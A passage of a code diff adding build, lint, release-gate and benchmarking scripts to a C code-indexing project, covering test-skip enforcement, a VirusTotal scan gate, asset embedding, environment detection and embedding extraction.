cp "$f" "$stage/ours__$(echo "${f#$LSP_DIR/}" | tr '/' '_').cpp"
done
while IFS= read -r f; do
cp "$f" "$stage/clangd__$(echo "${f#$cdir/}" | tr '/' '_').cpp" 2>/dev/null
done < <(find "$cdir" -type f \( -name '*.cpp' -o -name '*.cc' -o -name '*.cxx' \
-o -name '*.h' -o -name '*.hpp' \))
echo "$TAG structural pass (jscpd, >= ${MIN_TOKENS} tokens, clangd C++ <-> our C) ..."
$JSCPD --silent --reporters json --output "$jout" --min-tokens "$MIN_TOKENS" "$stage" >/dev/null 2>&1 || true
pairs=""
if [ -f "$jout/jscpd-report.json" ]; then
pairs=$(jq -r '.duplicates[]?
| select((.firstFile.name|contains("ours__")) != (.secondFile.name|contains("ours__")))
| " \(.firstFile.name|gsub(".*/";"")) <-> \(.secondFile.name|gsub(".*/";"")) [\(.lines) lines]"' \
"$jout/jscpd-report.json" 2>/dev/null | sort -u)
fi
if [ -n "$pairs" ]; then
echo "$TAG ⚠ structural clones spanning our C and clangd:"; echo "$pairs" | head -20
structural_hits=1
else
echo "$TAG ok — no structural clones (>= ${MIN_TOKENS} tokens) between our C and clangd"
fi
rm -rf "$stage" "$jout"
fi
fi
echo ""
if [ "$total_hits" -gt 0 ] || [ "$structural_hits" -gt 0 ]; then
if [ "$total_hits" -gt 0 ]; then
echo "$TAG REVIEW NEEDED: $total_hits reference file(s) share a verbatim string/comment"
echo "$TAG with internal/cbm/lsp/. A hit is NOT proof of copying (common phrases collide)"
echo "$TAG — inspect each, confirm independent wording, reword genuinely-copied text."
fi
if [ "$structural_hits" -gt 0 ]; then
echo "$TAG REVIEW NEEDED: jscpd found structurally-cloned block(s) between our C and"
echo "$TAG clangd — inspect the pairs above and confirm independent implementation."
fi
echo "$TAG Re-run until clean before committing."
exit 1
fi
echo "$TAG CLEAN — no verbatim string/comment overlap with any reference, and no"
echo "$TAG structural clones (jscpd) between our C and clangd."
echo "$TAG (Reminder: this proves no verbatim/structural overlap, not provable"
echo "$TAG independence — the incremental git history is the complementary evidence.)"
exit 0
+45
View File
@@ -0,0 +1,45 @@
#!/usr/bin/env bash
# check-no-test-skips.sh — Enforce the no-skips test policy in the lint phase.
#
# Every test must PASS or FAIL. The ONLY tolerable skip is a genuinely
# platform-specific test that cannot run on the current OS (e.g. a Windows-only
# test on macOS); those must use the SKIP_PLATFORM() macro (or #ifdef
# compile-gating). A plain SKIP() — or any direct tf_skip_count manipulation —
# in a test source means a setup/environment/resource failure is being hidden
# instead of surfaced as a failure. That fails this check.
#
# Rationale: a test that cannot establish its preconditions has FAILED, not been
# "skipped". Convert such SKIP() to FAIL("reason").
#
# Usage: bash scripts/check-no-test-skips.sh (exit 0 = clean, 1 = violations)
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
violations=0
# 1. Plain SKIP( in test sources.
# - SKIP_PLATFORM( never matches "SKIP(" (the char after SKIP is '_').
# - The SKIP()/FAIL()/SKIP_PLATFORM() macro DEFINITIONS live in
# tests/test_framework.h (a .h), which the tests/*.c glob does not scan.
while IFS= read -r hit; do
echo "[no-skips] FORBIDDEN SKIP(): $hit"
violations=$((violations + 1))
done < <(grep -rnE '(^|[^A-Za-z0-9_])SKIP\(' "$ROOT"/tests/*.c 2>/dev/null || true)
# 2. Direct tf_skip_count increment in a test source (only the framework's
# SKIP_PLATFORM macro, defined in the .h, may touch it).
while IFS= read -r hit; do
echo "[no-skips] FORBIDDEN tf_skip_count manipulation: $hit"
violations=$((violations + 1))
done < <(grep -rnE 'tf_skip_count[[:space:]]*(\+\+|\+=|--)' "$ROOT"/tests/*.c 2>/dev/null || true)
if [ "$violations" -gt 0 ]; then
echo ""
echo "[no-skips] FAIL: $violations violation(s). Tests must pass or fail."
echo " setup / environment / resource failures -> FAIL(\"reason\")"
echo " genuinely platform-specific tests -> SKIP_PLATFORM(\"reason\") or #ifdef"
exit 1
fi
echo "[no-skips] OK — no forbidden skips in tests/*.c (SKIP_PLATFORM allowed for platform-only tests)"
exit 0
+31
View File
@@ -0,0 +1,31 @@
#!/usr/bin/env bash
# Verify NOLINT(misc-no-recursion) only appears on whitelisted functions.
WHITELIST="src/foundation/recursion_whitelist.h"
if [ ! -f "$WHITELIST" ]; then
echo "ERROR: $WHITELIST not found"; exit 1
fi
ALLOWED=$(grep -oE '"[a-zA-Z_][a-zA-Z0-9_]*"' "$WHITELIST" | tr -d '"' | sort -u)
HITS=$(grep -rn 'NOLINT(misc-no-recursion)' src/ internal/cbm/*.c internal/cbm/*.h 2>/dev/null \
| grep -v vendored | grep -v recursion_whitelist)
if [ -z "$HITS" ]; then exit 0; fi
FAIL=0
while IFS= read -r line; do
FILE=$(echo "$line" | cut -d: -f1)
LN=$(echo "$line" | cut -d: -f2)
# Check current line AND 5 lines above for the function name
CONTEXT=$(sed -n "$((LN > 5 ? LN - 5 : 1)),${LN}p" "$FILE")
FOUND=0
for fn in $ALLOWED; do
if echo "$CONTEXT" | grep -qw "$fn"; then
FOUND=1; break
fi
done
if [ "$FOUND" -eq 0 ]; then
echo "ERROR: NOLINT(misc-no-recursion) on non-whitelisted function:"
echo " $line"
FAIL=1
fi
done <<< "$HITS"
exit $FAIL
+22
View File
@@ -0,0 +1,22 @@
#!/usr/bin/env bash
# Regression guard: the linux binary we ship must START on OLD glibc.
#
# The standard linux release binary dynamically links glibc 2.38+ / GLIBCXX
# 3.4.32 and fails to start on Debian 11, RHEL/Rocky 8, Ubuntu 20.04, Amazon
# Linux 2, etc. The fix points all linux install + self-update paths at the
# fully-static "-portable" asset. This runs a given linux binary inside an
# old-glibc container (debian:bullseye, glibc 2.31) and asserts it starts:
# - RED for the dynamic standard binary (GLIBC_2.38 not found)
# - GREEN for the static -portable binary (runs anywhere)
#
# Usage: check-glibc-compat.sh <path-to-linux-binary>
# Env: GLIBC_TEST_IMAGE (default: debian:bullseye-slim, glibc 2.31)
set -euo pipefail
BIN="${1:?usage: check-glibc-compat.sh <path-to-linux-binary>}"
IMAGE="${GLIBC_TEST_IMAGE:-debian:bullseye-slim}"
BIN_ABS="$(cd "$(dirname "$BIN")" && pwd)/$(basename "$BIN")"
echo "==> running $(basename "$BIN") --version inside ${IMAGE} (glibc 2.31)"
docker run --rm -v "${BIN_ABS}:/cbm:ro" "${IMAGE}" /cbm --version
echo "PASS: binary starts on old glibc (${IMAGE})"
+91
View File
@@ -0,0 +1,91 @@
#!/usr/bin/env bash
# Wait for VirusTotal scans to complete and check results.
# Expects: VT_API_KEY, VT_ANALYSIS (comma-separated "file=URL" pairs)
set -euo pipefail
MIN_ENGINES=60
rm -f /tmp/vt_gate_fail
echo "=== Waiting for VirusTotal scans to fully complete ==="
echo "$VT_ANALYSIS" | tr ',' '\n' | while IFS= read -r entry; do
[ -z "$entry" ] && continue
FILE=$(echo "$entry" | cut -d'=' -f1)
URL=$(echo "$entry" | cut -d'=' -f2-)
BASENAME=$(basename "$FILE")
# Extract base64 analysis ID from URL
ANALYSIS_ID=$(echo "$URL" | sed -n 's|.*/file-analysis/\([^/]*\)/.*|\1|p')
if [ -z "$ANALYSIS_ID" ]; then
ANALYSIS_ID=$(echo "$URL" | grep -oE '[a-f0-9]{64}')
if [ -z "$ANALYSIS_ID" ]; then
echo "BLOCKED: Cannot parse VirusTotal URL: $URL"
echo "FAIL" >> /tmp/vt_gate_fail
continue
fi
fi
# Poll until completed (max 120 min)
SCAN_COMPLETE=false
for attempt in $(seq 1 720); do
RESULT=$(curl -sf --max-time 10 \
-H "x-apikey: $VT_API_KEY" \
"https://www.virustotal.com/api/v3/analyses/$ANALYSIS_ID" 2>/dev/null || echo "")
if [ -z "$RESULT" ]; then
echo " $BASENAME: waiting (attempt $attempt)..."
sleep 10
continue
fi
STATS=$(echo "$RESULT" | python3 -c "
import json, sys
d = json.loads(sys.stdin.read())
attrs = d.get('data', {}).get('attributes', {})
status = attrs.get('status', 'queued')
stats = attrs.get('stats', {})
malicious = stats.get('malicious', 0)
suspicious = stats.get('suspicious', 0)
undetected = stats.get('undetected', 0)
harmless = stats.get('harmless', 0)
total = sum(stats.values())
completed = malicious + suspicious + undetected + harmless
print(f'{status},{malicious},{suspicious},{completed},{total}')
" 2>/dev/null || echo "queued,0,0,0,0")
STATUS=$(echo "$STATS" | cut -d',' -f1)
MALICIOUS=$(echo "$STATS" | cut -d',' -f2)
SUSPICIOUS=$(echo "$STATS" | cut -d',' -f3)
COMPLETED=$(echo "$STATS" | cut -d',' -f4)
TOTAL=$(echo "$STATS" | cut -d',' -f5)
if [ "$STATUS" = "completed" ]; then
SCAN_COMPLETE=true
if [ "$COMPLETED" -lt "$MIN_ENGINES" ]; then
echo "NOTE: $BASENAME completed with only $COMPLETED/$TOTAL engines (< $MIN_ENGINES)"
fi
if [ "$MALICIOUS" -gt 0 ] || [ "$SUSPICIOUS" -gt 0 ]; then
echo "BLOCKED: $BASENAME flagged ($MALICIOUS malicious, $SUSPICIOUS suspicious / $COMPLETED engines)"
echo " $URL"
echo "FAIL" >> /tmp/vt_gate_fail
else
echo "OK: $BASENAME clean ($COMPLETED engines, 0 detections)"
fi
break
fi
echo " $BASENAME: $COMPLETED/$TOTAL engines ($STATUS, attempt $attempt)..."
sleep 10
done
if [ "$SCAN_COMPLETE" != "true" ]; then
echo "WARNING: $BASENAME scan did not complete in time"
echo "FAIL" >> /tmp/vt_gate_fail
fi
done
if [ -f /tmp/vt_gate_fail ]; then
echo "BLOCKED: One or more VirusTotal checks failed"
exit 1
fi
echo "=== All VirusTotal scans passed ==="
+35
View File
@@ -0,0 +1,35 @@
#!/usr/bin/env bash
# clean.sh — Remove ALL build artifacts, caches, and generated files.
#
# Usage: scripts/clean.sh
#
# Ensures every subsequent build starts from scratch — no cached .o files,
# no stale node_modules, no leftover dist folders. This is the first step
# in both scripts/test.sh and scripts/build.sh.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
echo "=== Cleaning build artifacts ==="
# C build artifacts
rm -rf "$ROOT/build/c"
# Frontend build artifacts
rm -rf "$ROOT/graph-ui/dist"
rm -rf "$ROOT/graph-ui/node_modules"
# Root-level node artifacts (if any)
rm -rf "$ROOT/node_modules"
# Generated embedded assets (regenerated by embed-frontend.sh)
rm -f "$ROOT/src/ui/embedded_assets.c"
# Leftover test fixture dirs (C test suite sometimes creates these in CWD)
find "$ROOT" -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -exec rm -rf {} + 2>/dev/null || true
# Leftover test fixture dirs in /tmp
find /tmp -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -user "$(id -u)" -exec rm -rf {} + 2>/dev/null || true
echo "=== Clean complete ==="
+110
View File
@@ -0,0 +1,110 @@
#!/usr/bin/env bash
set -euo pipefail
# Clone benchmark repositories for MCP vs Explorer quality comparison.
# Uses shallow clones (--depth 1) to minimize disk usage.
# Shared repos are cloned once and symlinked for secondary languages.
BENCH_DIR="${1:-/tmp/bench}"
clone() {
local lang="$1" repo="$2" subdir="${3:-}"
local dest="$BENCH_DIR/$lang"
if [ -d "$dest" ]; then
echo "SKIP: $lang (exists)"
return
fi
echo "CLONE: $lang <- $repo"
git clone --depth 1 --quiet "https://github.com/$repo.git" "$dest"
echo " OK: $(du -sh "$dest" | cut -f1)"
}
symlink() {
local lang="$1" source_lang="$2"
local dest="$BENCH_DIR/$lang"
if [ -d "$dest" ] || [ -L "$dest" ]; then
echo "SKIP: $lang (exists)"
return
fi
echo "LINK: $lang -> $source_lang"
ln -s "$BENCH_DIR/$source_lang" "$dest"
}
mkdir -p "$BENCH_DIR"
# Programming languages — Tier 1 (44 languages)
# Target: 100K+ LOC per repo for meaningful performance benchmarks
clone go "kubernetes/kubernetes" # 3.5M LOC, the Go benchmark
clone python "django/django" # 350K+ LOC, web framework
clone javascript "vercel/next.js" # 500K+ LOC, React framework
clone typescript "microsoft/TypeScript" # 1M+ LOC, the TS compiler
clone tsx "shadcn-ui/ui" # 728K LOC (already large)
clone java "elastic/elasticsearch" # 2M+ LOC, search engine
clone kotlin "JetBrains/Exposed" # 977K LOC (already large)
clone scala "apache/spark" # 1M+ LOC, big data
clone rust "meilisearch/meilisearch" # 409K LOC (already large)
clone c "redis/redis" # 546K LOC (already large)
clone cpp "protocolbuffers/protobuf" # 500K+ LOC, real .cpp files
clone csharp "dotnet/runtime" # Massive C# runtime
clone php "koel/koel" # 189K LOC (OK)
clone ruby "rails/rails" # 500K+ LOC, the Ruby framework
clone lua "neovim/neovim" # 500K+ LOC, editor
clone bash "ohmyzsh/ohmyzsh" # 100K+ .sh files
clone zig "tigerbeetle/tigerbeetle" # 224K LOC (already large)
clone haskell "jgm/pandoc" # 433K LOC (already large)
clone ocaml "ocaml/dune" # 345K LOC (already large)
clone elixir "plausible/analytics" # 677K LOC (already large)
clone erlang "emqx/emqx" # 500K+ LOC, MQTT broker
clone objc "realm/realm-cocoa" # 200K+ LOC, database SDK
clone swift "Alamofire/Alamofire" # 370K LOC (already large)
clone dart "felangel/bloc" # 285K LOC (already large)
clone perl "movabletype/movabletype" # 300K+ LOC, CMS
clone groovy "spockframework/spock" # 137K LOC (OK)
clone r "tidyverse/ggplot2" # 150K+ LOC, visualization
clone clojure "clojure/clojure" # 108K LOC (OK)
clone fsharp "dotnet/fsharp" # 500K+ LOC, the F# compiler
clone julia "JuliaLang/julia" # 1M+ LOC, the Julia runtime
clone vimscript "SpaceVim/SpaceVim" # 2.6M LOC (already huge)
clone nix "NixOS/nixpkgs" # 6M LOC (already huge)
clone commonlisp "lem-project/lem" # 1.2M LOC (already large)
clone elm "elm/compiler" # 57K LOC (largest Elm repo available)
clone fortran "cp2k/cp2k" # 5.9M LOC (already huge)
clone cobol "OCamlPro/gnucobol" # 540K LOC (already large)
clone verilog "YosysHQ/yosys" # 517K LOC (already large)
clone emacslisp "emacs-mirror/emacs" # 5.3M LOC (already huge)
clone matlab "acristoffers/tree-sitter-matlab" # 133K LOC (best available)
clone lean "leanprover-community/mathlib4" # 2.3M LOC (already huge)
clone form "vermaseren/form" # 221K LOC (already large)
clone wolfram "WolframResearch/WolframLanguageForJupyter" # 4K LOC (largest public Wolfram repo)
# Helper languages — Tier 2 (22 languages)
clone yaml "kubernetes/examples" # K8s manifests
clone hcl "hashicorp/terraform-provider-aws" # 1M+ LOC, massive HCL
clone scss "twbs/bootstrap" # 120K LOC (OK)
clone dockerfile "docker-library/official-images" # Docker configs
clone cmake "Kitware/CMake" # 1.7M LOC (already huge)
clone protobuf "googleapis/googleapis" # 2.2M LOC (already huge)
clone graphql "graphql/graphql-spec" # 23K LOC (largest pure GraphQL)
clone vue "vuejs/core" # 200K+ LOC, Vue 3 core
clone svelte "sveltejs/svelte" # 267K LOC (already large)
clone meson "mesonbuild/meson" # 237K LOC (already large)
# Shared repos (symlinked — language uses same repo as primary)
symlink html javascript # Express views contain HTML
symlink css tsx # shadcn-ui styles
symlink toml rust # meilisearch Cargo.toml + config
symlink sql java # spring-petclinic SQL schemas
clone cuda "NVIDIA/cuda-samples"
symlink json typescript # trpc JSON configs
symlink xml java # spring-petclinic XML configs
symlink markdown python # httpie docs
symlink makefile c # redis Makefile
clone glsl "repalash/Open-Shaders"
symlink ini python # httpie .cfg/.ini files
symlink magma lean # .m files — disambiguated via content markers
symlink kubernetes yaml # YAML subtype — Deployment/Service manifests
symlink kustomize yaml # YAML subtype — kustomization.yaml
echo ""
echo "=== Clone complete ==="
ls -1 "$BENCH_DIR/" | wc -l | xargs printf "%s repos ready in $BENCH_DIR\n"
+194
View File
@@ -0,0 +1,194 @@
#!/usr/bin/env bash
# embed-frontend.sh — Convert built frontend assets into linkable object files.
#
# Usage: scripts/embed-frontend.sh <dist_dir> <output_dir>
#
# For each file in dist_dir, creates:
# 1. An object file via `ld -r -b binary` (raw bytes, zero bloat)
# 2. A generated embedded_assets.c with a lookup table
#
# Symbols created per file: _binary_<mangled_name>_start, _binary_<mangled_name>_end
# On macOS, these get a leading underscore: __binary_<mangled_name>_start
set -euo pipefail
DIST_DIR="${1:?Usage: embed-frontend.sh <dist_dir> <output_dir>}"
OUTPUT_DIR="${2:?Usage: embed-frontend.sh <dist_dir> <output_dir>}"
# Clean old embedded objects (asset hashes change on each build)
rm -rf "$OUTPUT_DIR"
mkdir -p "$OUTPUT_DIR"
# Detect platform — Linux uses ld -r -b binary, everything else uses xxd+cc
IS_LINUX=false
if [[ "$(uname -s)" == "Linux" ]] && ! [[ "$(uname -s)" =~ MINGW|MSYS ]]; then
IS_LINUX=true
fi
# Content-type detection
content_type_for() {
local f="$1"
case "$f" in
*.html) echo "text/html" ;;
*.js) echo "application/javascript" ;;
*.css) echo "text/css" ;;
*.json) echo "application/json" ;;
*.svg) echo "image/svg+xml" ;;
*.png) echo "image/png" ;;
*.ico) echo "image/x-icon" ;;
*.woff2) echo "font/woff2" ;;
*.woff) echo "font/woff" ;;
*.map) echo "application/json" ;;
*) echo "application/octet-stream" ;;
esac
}
# Mangle filename to valid C symbol: replace non-alnum with _
mangle() {
echo "$1" | sed 's/[^a-zA-Z0-9]/_/g'
}
# Collect all files
FILES=()
while IFS= read -r -d '' file; do
FILES+=("$file")
done < <(find "$DIST_DIR" -type f -print0 | sort -z)
if [[ ${#FILES[@]} -eq 0 ]]; then
echo "Error: no files found in $DIST_DIR" >&2
exit 1
fi
echo "Embedding ${#FILES[@]} files from $DIST_DIR"
# Generate object files
OBJ_FILES=()
for file in "${FILES[@]}"; do
rel="${file#$DIST_DIR/}"
mangled=$(mangle "$rel")
obj="$OUTPUT_DIR/embed_${mangled}.o"
if $IS_LINUX; then
# Linux: ld -r -b binary (zero bloat, ELF only)
abs_obj="$(cd "$(dirname "$0")/.." && pwd)/$obj"
(cd "$DIST_DIR" && ld -r -b binary -o "$abs_obj" "$rel")
else
# macOS/Windows/MSYS2: generate C byte array + cc (no xxd dependency)
local_c="$OUTPUT_DIR/embed_${mangled}.c"
local_sym="_binary_${mangled}"
echo "/* Generated from $rel */" > "$local_c"
echo "const unsigned char ${local_sym}_data[] = {" >> "$local_c"
# Use od (POSIX) to generate hex bytes — works everywhere without xxd/vim
od -An -tx1 -v < "$file" | tr -s ' ' '\n' | grep -v '^$' | sed 's/^/0x/; s/$/,/' | paste -sd' ' - | fold -s -w 76 | sed 's/^/ /' >> "$local_c"
echo "};" >> "$local_c"
echo "const unsigned int ${local_sym}_size = sizeof(${local_sym}_data);" >> "$local_c"
${CC:-cc} -c -O2 -o "$obj" "$local_c"
rm -f "$local_c"
fi
OBJ_FILES+=("$obj")
echo " $rel -> $obj"
done
# Generate embedded_assets.c
ASSETS_C="src/ui/embedded_assets.c"
cat > "$ASSETS_C" <<'HEADER'
/*
* embedded_assets.c — Generated file mapping URL paths to embedded bytes.
* DO NOT EDIT — regenerated by scripts/embed-frontend.sh
*/
#include "ui/embedded_assets.h"
#include <string.h>
HEADER
# Declare extern symbols
for file in "${FILES[@]}"; do
rel="${file#$DIST_DIR/}"
mangled=$(mangle "$rel")
sym="_binary_${mangled}"
if ! $IS_LINUX; then
echo "extern const unsigned char ${sym}_data[];" >> "$ASSETS_C"
echo "extern const unsigned int ${sym}_size;" >> "$ASSETS_C"
else
echo "extern const unsigned char ${sym}_start[];" >> "$ASSETS_C"
echo "extern const unsigned char ${sym}_end[];" >> "$ASSETS_C"
fi
done
echo "" >> "$ASSETS_C"
echo "cbm_embedded_file_t CBM_EMBEDDED_FILES[] = {" >> "$ASSETS_C"
for file in "${FILES[@]}"; do
rel="${file#$DIST_DIR/}"
mangled=$(mangle "$rel")
sym="_binary_${mangled}"
ct=$(content_type_for "$rel")
# URL path: /index.html for root, /assets/... for assets
url_path="/$rel"
if ! $IS_LINUX; then
echo " {\"$url_path\", ${sym}_data, 0, \"$ct\"}," >> "$ASSETS_C"
else
echo " {\"$url_path\", ${sym}_start, 0, \"$ct\"}," >> "$ASSETS_C"
fi
done
echo "};" >> "$ASSETS_C"
echo "const int CBM_EMBEDDED_FILE_COUNT = ${#FILES[@]};" >> "$ASSETS_C"
# Generate size fixup
if $IS_LINUX; then
# Linux: compute size from start/end pointers (ld -r -b binary symbols)
cat >> "$ASSETS_C" <<'SIZEINIT'
static void __attribute__((constructor)) init_embedded_sizes(void) {
cbm_embedded_file_t *files = CBM_EMBEDDED_FILES;
SIZEINIT
for i in "${!FILES[@]}"; do
rel="${FILES[$i]#$DIST_DIR/}"
mangled=$(mangle "$rel")
sym="_binary_${mangled}"
echo " files[$i].size = (unsigned int)(${sym}_end - ${sym}_start);" >> "$ASSETS_C"
done
echo "}" >> "$ASSETS_C"
else
# macOS/Windows: use explicit _size vars from xxd-generated C arrays
cat >> "$ASSETS_C" <<'SIZEINIT'
static void __attribute__((constructor)) init_embedded_sizes(void) {
cbm_embedded_file_t *files = CBM_EMBEDDED_FILES;
SIZEINIT
for i in "${!FILES[@]}"; do
rel="${FILES[$i]#$DIST_DIR/}"
mangled=$(mangle "$rel")
sym="_binary_${mangled}"
echo " files[$i].size = ${sym}_size;" >> "$ASSETS_C"
done
echo "}" >> "$ASSETS_C"
fi
# Add lookup function
cat >> "$ASSETS_C" <<'LOOKUP'
const cbm_embedded_file_t *cbm_embedded_lookup(const char *path) {
for (int i = 0; i < CBM_EMBEDDED_FILE_COUNT; i++) {
if (strcmp(CBM_EMBEDDED_FILES[i].path, path) == 0) {
return &CBM_EMBEDDED_FILES[i];
}
}
return NULL;
}
LOOKUP
echo "Generated $ASSETS_C with ${#FILES[@]} embedded files"
echo "Object files in $OUTPUT_DIR:"
printf ' %s\n' "${OBJ_FILES[@]}"
Executable
+105
View File
@@ -0,0 +1,105 @@
#!/usr/bin/env bash
# env.sh — Shared environment detection for all build scripts.
#
# Sourced by test.sh, build.sh, lint.sh. Not meant to run standalone.
#
# Exports:
# ARCH — target architecture (arm64 / x86_64)
# ARCHFLAGS — "-arch <arch>" on macOS (target slice for clang/ld), empty elsewhere
# NPROC — number of CPU cores
# OS — darwin / linux / windows
set -euo pipefail
# ── Detect OS ──────────────────────────────────────────────────
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
case "$OS" in
darwin) OS="darwin" ;;
linux) OS="linux" ;;
mingw*|msys*|cygwin*) OS="windows" ;;
*) OS="unknown" ;;
esac
# ── Detect / override architecture ─────────────────────────────
# Default: native HARDWARE architecture (not Rosetta-translated).
# On macOS under Rosetta, uname -m returns x86_64 even on Apple Silicon.
# We use sysctl to detect the true hardware.
HW_ARCH="$(uname -m)"
if [[ "$(uname -s)" == "Darwin" ]] && sysctl -n hw.optional.arm64 2>/dev/null | grep -q 1; then
HW_ARCH="arm64"
fi
case "$HW_ARCH" in
aarch64|arm64) HW_ARCH="arm64" ;;
x86_64|amd64) HW_ARCH="x86_64" ;;
esac
# CBM_ARCH env var or --arch flag override (parsed by calling script)
ARCH="${CBM_ARCH:-$HW_ARCH}"
# ── Target-architecture flags (macOS only) ─────────────────────
# Select the target slice explicitly with clang/ld's -arch instead of
# relaunching make under `arch -<arch>`. Explicit -arch is the only approach
# that works across toolchains: a Nix/Homebrew clang wrapper has a fixed
# target triple, so `arch -x86_64 make` would still emit native arm64. It also
# lets host tools (node, codegen) keep running natively during a cross-build.
# Makefile.cbm folds $(ARCHFLAGS) into CC/CXX so it reaches every compile and
# link, including the vendored objects. Empty on Linux/Windows.
ARCHFLAGS=""
if [[ "$OS" == "darwin" ]]; then
ARCHFLAGS="-arch ${ARCH}"
fi
export ARCHFLAGS
# ── Detect parallelism ─────────────────────────────────────────
NPROC=$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 4)
# ── Verify compiler can build for the target arch ──────────────
# On macOS, PROBE actual capability instead of inspecting the compiler's own
# Mach-O header. The driver is often a wrapper script (Nix, ccache, Homebrew)
# or a clang that cross-compiles, so `file` on the binary says nothing about
# what it can target — it just sees a shell script or a host-arch executable.
# Compiling + linking a trivial program with -arch <target> is the truth.
verify_compiler() {
local compiler="$1"
local bin
bin="$(command -v "$compiler" 2>/dev/null || true)"
if [[ -z "$bin" ]]; then
echo "ERROR: compiler '$compiler' not found in PATH" >&2
exit 1
fi
if [[ "$OS" == "darwin" ]]; then
local probe_out
probe_out="$(mktemp -t cbm-archprobe.XXXXXX)"
if ! printf 'int main(void){return 0;}\n' \
| "$compiler" -arch "$ARCH" -x c - -o "$probe_out" >/dev/null 2>&1; then
rm -f "$probe_out"
echo "ERROR: $compiler cannot build for -arch $ARCH ($bin)" >&2
echo " A trivial $ARCH compile + link failed with this toolchain." >&2
if [[ "$ARCH" != "$HW_ARCH" ]]; then
echo " Cross-building $HW_ARCH -> $ARCH needs the $ARCH SDK slice + runtime;" >&2
echo " to build for this machine instead, re-run with: --arch $HW_ARCH" >&2
fi
exit 1
fi
rm -f "$probe_out"
fi
}
# ── Default compiler selection ─────────────────────────────────
# macOS: cc (Apple Clang). Linux/Windows: gcc (system default).
# CI overrides via CC=gcc CXX=g++ args. Local macOS overrides via CC=cc.
if [[ -z "${CC:-}" ]]; then
if [[ "$OS" == "darwin" ]]; then
export CC=cc CXX=c++
else
export CC=gcc CXX=g++
fi
fi
# ── Print environment summary ──────────────────────────────────
print_env() {
local context="$1"
echo "=== $context: os=$OS arch=$ARCH cores=$NPROC cc=${CC:-default} cxx=${CXX:-default} ==="
}
+528
View File
@@ -0,0 +1,528 @@
#!/usr/bin/env python3
"""
Extract token embeddings from nomic-embed-code (7B) for static lookup table.
Loads the full model, filters the vocabulary to code-relevant tokens,
runs full inference on each token, applies simulated attention, quantizes
to int8, and outputs files compatible with vendored/unixcoder/ format.
Usage:
pip3.9 install torch transformers sentence-transformers
python3.9 scripts/extract_nomic_vectors.py [--output-dir vendored/nomic]
Output:
code_vectors.bin — [int32 count][int32 dim] + count×dim int8
code_tokens.txt — one token per line
code_tokens.h — C header: static const char *PRETRAINED_TOKENS[N]
code_vectors.h — C header: defines + inline accessor
code_vectors_blob.S — assembler .incbin
One-time extraction. ~2-3h on GPU, ~6-10h on M3 Pro CPU (float16, ~14GB RAM).
"""
import argparse
import json
import os
import re
import struct
import sys
import time
from pathlib import Path
import numpy as np
import torch
# Parallelize CPU inference across all cores BEFORE any torch ops
NUM_THREADS = min(os.cpu_count() * 2, 12)
torch.set_num_threads(NUM_THREADS)
torch.set_num_interop_threads(max(NUM_THREADS // 2, 1))
os.environ.setdefault("OMP_NUM_THREADS", str(NUM_THREADS))
os.environ.setdefault("MKL_NUM_THREADS", str(NUM_THREADS))
from transformers import AutoModel, AutoTokenizer
# ── Configuration ──────────────────────────────────────────────────────
MODEL_NAME = "nomic-ai/nomic-embed-code"
OUTPUT_DIM = 768 # Target dimension (Matryoshka truncation if model outputs more)
SIM_ATTENTION_K = 32 # Top-K neighbors for simulated attention
SIM_ATTENTION_ITERS = 3 # Number of simulated attention iterations
SIM_ATTENTION_ALPHA = 0.3 # Blend ratio: (1-α)×original + α×neighbor_mean
BATCH_SIZE = 32 # Tokens per inference batch (sized for thread saturation)
CHECKPOINT_EVERY = 500 # Save checkpoint every N tokens
# ── Token filtering ───────────────────────────────────────────────────
def is_code_relevant(token_str: str) -> bool:
"""Filter vocabulary to code-relevant tokens.
Goal: keep tokens that our runtime camelCase/snake_case splitter would
produce from identifiers. Reject BPE noise, punctuation combos, and
non-Latin scripts.
"""
s = token_str.strip()
if not s:
return False
# Remove BPE markers (Ġ = space prefix, ▁ = sentencepiece, Ċ/ċ = newline in Qwen)
clean = s.lstrip("\u0120\u2581") # Ġ, ▁
if not clean:
return False
# Skip special tokens
if clean.startswith("<") and clean.endswith(">"):
return False
if clean.startswith("[") and clean.endswith("]"):
return False
# Strip leading/trailing underscores (common in BPE) but keep content
inner = clean.strip("_")
if not inner:
return False
# STRICT: must be purely alphanumeric + underscores (identifier-shaped)
# This rejects BPE noise like "!");ċ", "!!!!ċċ", etc.
if not re.match(r'^[a-zA-Z][a-zA-Z0-9_]*$', inner):
return False
# Must be at least 2 chars of actual content
if len(inner) < 2:
return False
return True
def clean_token(token_str: str) -> str:
"""Normalize a BPE token to the form our runtime tokenizer produces."""
s = token_str.strip()
# Strip BPE space markers
s = s.lstrip("\u0120\u2581")
# Strip leading/trailing underscores
s = s.strip("_")
# Lowercase (our runtime tokenizer lowercases)
s = s.lower()
return s
# ── Simulated attention ──────────────────────────────────────────────
def simulated_attention(vectors: np.ndarray, k: int, iterations: int,
alpha: float) -> np.ndarray:
"""
Apply simulated self-attention: for each vector, blend with mean of
top-K nearest neighbors. This approximates contextual composition
that real attention provides.
vectors: (N, D) float32 unit-normalized
Returns: (N, D) float32 unit-normalized
"""
n, d = vectors.shape
result = vectors.copy()
for iteration in range(iterations):
t0 = time.time()
# Compute cosine similarity matrix in chunks to avoid OOM
# For 40K vectors × 768d, full matrix = 40K² × 4 bytes = 6.4GB
# Process in chunks of 2048
chunk_size = 2048
new_result = np.zeros_like(result)
for i in range(0, n, chunk_size):
end = min(i + chunk_size, n)
chunk = result[i:end] # (chunk, D)
# Cosine similarity: chunk × all^T
sims = chunk @ result.T # (chunk, N)
# For each vector in chunk, find top-K neighbors (excluding self)
for j in range(end - i):
global_idx = i + j
sim_row = sims[j].copy()
sim_row[global_idx] = -1.0 # Exclude self
# Top-K indices
if k < n - 1:
top_k_idx = np.argpartition(sim_row, -k)[-k:]
else:
top_k_idx = np.arange(n)
top_k_idx = top_k_idx[top_k_idx != global_idx]
neighbor_mean = result[top_k_idx].mean(axis=0)
# Blend
blended = (1 - alpha) * result[global_idx] + alpha * neighbor_mean
# Re-normalize
norm = np.linalg.norm(blended)
if norm > 1e-8:
blended /= norm
new_result[global_idx] = blended
result = new_result
elapsed = time.time() - t0
print(f" sim-attention iter {iteration + 1}/{iterations}: {elapsed:.1f}s")
